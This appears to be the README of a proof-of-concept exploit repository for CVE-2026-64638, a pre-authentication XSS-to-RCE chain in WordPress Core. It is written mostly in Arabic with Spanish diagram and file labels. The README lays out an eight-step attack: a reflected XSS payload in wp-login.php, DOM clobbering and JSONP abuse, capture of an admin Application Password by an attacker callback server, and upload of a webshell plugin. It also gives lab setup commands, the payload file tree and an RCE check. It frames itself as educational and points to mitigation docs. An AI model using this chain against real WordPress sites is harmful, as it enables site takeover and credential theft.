
PoC وظيفي لثغرة CVE-2026-64638 (XSS2Shell): سلسلة XSS قبل المصادقة تصل إلى تنفيذ أوامر عن بُعد (RCE) في نواة ووردبريس (WordPress Core). مختبر Docker + خادم مهاجم Python + تحليل تقني ووسائل تخفيف.
إثبات مفهوم تعليمي لسلسلة XSS2Shell (CVE-2026-64638)، ثغرة من نوع XSS → RCE قبل المصادقة في نواة WordPress، اكتُشفت بشكل مستقل بواسطة pwn.ai ونُشرت في 7 أغسطس 2026.
CVE-2026-64638 هي ثغرة من نوع cross-site scripting (XSS)
منعكسة، قبل المصادقة، في شاشة تسجيل الدخول في WordPress
(wp-login.php). تؤثر على جميع الإصدارات المدعومة من
WordPress التي تسبق الإصدار 7.0.3، الذي صدر في 6 أغسطس 2026
كـإصدار أمني طارئ. وقد حُددت لها درجة CVSS v4.0 تبلغ 8.9.
تُظهر السلسلة المسماة XSS2Shell كيف يمكن للمهاجم، انطلاقًا فقط من محاولة تسجيل دخول فاشلة باسم مستخدم مُعدَّل، أن:
strip_tags) وWordPress (wp_kses_post).user-profile.js) لإجراء طلب REST JSONP إلى نفس الأصل.jQuery.globalEval().النتيجة هي تنفيذ عن بُعد للكود (RCE) على خادم WordPress،
بصلاحية مستخدم عملية الويب (عادةً www-data)، انطلاقًا من
نقرة واحدة من المسؤول على رابط يتحكم به المهاجم.
يحتوي هذا المستودع على مواد تعليمية ودفاعية بحتة.
يُقدَّم إثبات المفهوم مع بيئة Docker مكتفية ذاتيًا غايتها الوحيدة أن تكون هدفًا محليًا وقابلًا لإعادة الإنتاج.
┌─────────────────────────────────────────────────────────────────────┐
│ 1. XSS pre-auth en wp-login.php │
│ log=< area id=ajaxurl href=/?rest_route=/&_jsonp=...> │
│ (discrepancia strip_tags ↔ wp_kses_post) │
└──────────────────────────────────────────┬──────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 2. user-profile.js dispara .trigger('click') │
│ DOM clobbering de ajaxurl → petición POST al origen │
└──────────────────────────────────────────┬──────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 3. REST JSONP responde application/javascript │
│ jQuery.globalEval() ejecuta el callback en el origen WP │
└──────────────────────────────────────────┬──────────────────────────┘
│ callback = window.opener
│ .approve.click
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 4. SOME: click() cruza la frontera opener→admin │
│ authorize-application.php#approve se pulsa en sesión admin │
└──────────────────────────────────────────┬──────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 5. WP crea Application Password → redirige a success_url │
│ El atacante captura user_login + password en callback.php │
└──────────────────────────────────────────┬──────────────────────────┘
│ HTTP Basic REST
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 6. POST /wp-json/wp/v2/pages → publica página con <script> │
│ El admin visita la página → JS en origen WP con sesión admin │
└──────────────────────────────────────────┬──────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 7. fetch update.php?action=upload-plugin → sube payload.zip │
│ PHP del plugin es accesible directamente sin activarlo │
└──────────────────────────────────────────┬──────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 8. RCE confirmada: GET /wp-content/plugins/payload/shell.php │
└─────────────────────────────────────────────────────────────────────┘
بُني إثبات المفهوم ليعمل على macOS أو Linux مع:
zip (لبناء payload يدويًا،
اختياري؛ يتضمن المجلد payload/ ملف ZIP مبنيًا مسبقًا).ليس من الضروري تثبيت WordPress يدويًا: يرفع ملف docker-compose.yml
نسخة WordPress 7.0.2 ضعيفة (آخر إصدار قبل التصحيح) جنبًا إلى جنب
مع MariaDB.
POC XSS2Shell (CVE-2026-64638)/
├── README.md ← Este archivo
├── docker-compose.yml ← Blanco: WordPress 7.0.2 + MariaDB
├── .env.example ← Variables de configuración
├── exploit.py ← Orquestador en Python (opcional)
├── attacker/ ← Infraestructura del atacante
│ ├── index.html ← Página cebo con la cadena SOME
│ ├── callback.php ← Receptor de la Application Password
│ └── server.py ← Servidor estático + PHP embebido
├── payload/ ← Plugin ZIP malicioso
│ ├── build_payload.py ← Generador del ZIP
│ ├── shell.php ← Webshell mínimo
│ └── payload.zip ← ZIP preconstruido (listo para usar)
└── docs/
├── ANALISIS.md ← Análisis técnico detallado
└── MITIGACION.md ← Guía de mitigación y hardening
cp .env.example .env
docker compose up -d
سيصبح WordPress متاحًا على http://localhost:8080. اتبع معالج
التثبيت وأنشئ مستخدمًا مسؤولًا (على سبيل المثال admin /
admin-password).
يثبّت ملف Dockerfile الصورة على
wordpress:7.0.2-php8.2-apache، وهي آخر نسخة تسبق التصحيح 7.0.3.
# En otro terminal, dentro de attacker/
python3 server.py
يستمع خادم المهاجم على http://localhost:9000 ويعرض:
/ → index.html (الصفحة الطُعمية)./callback.php → مستقبل كلمة مرور التطبيق.في الطرفية التي يعمل بها server.py سيظهر سطر من النوع:
[+] Application Password recibida para el usuario 'admin':
XXXX XXXX XXXX XXXX XXXX XXXX
تُحفظ بيانات الاعتماد أيضًا في attacker/captured_credentials.txt.
بعد بضع ثوانٍ، سيكون منسّق index.html قد:
payload.zip إلى wp-content/plugins/payload/.تحقق من تنفيذ الكود باستخدام:
curl -sI http://localhost:8080/wp-content/plugins/payload/shell.php
ترويسة Hacked: true وجسم JSON يؤكدان حدوث RCE.
بمجرد اكتمال السلسلة، تخدم نقاط النهاية التالية كدليل:
| المورد | الدليل المتوقع |
|---|---|
GET /wp-content/plugins/payload/shell.php | ترويسة Hacked: true + JSON {"rce":true,"user":"www-data"} |
attacker/captured_credentials.txt |
docs/ANALISIS.md — تحليل تقني مفصل لكل
مرحلة من مراحل السلسلة، مع مراجع إلى الكود المصدري لـ WordPress.docs/MITIGACION.md — تخفيفات موصى بها،
تحصين، والتحقق من التصحيح 7.0.3.موزَّع بموجب ترخيص MIT. راجع ملف LICENSE لمزيد من التفاصيل.
| كلمة مرور تطبيق ملتقطة |
wp-admin → التطبيقات → كلمات مرور التطبيقات | إدخال جديد باسم «SomeApp» |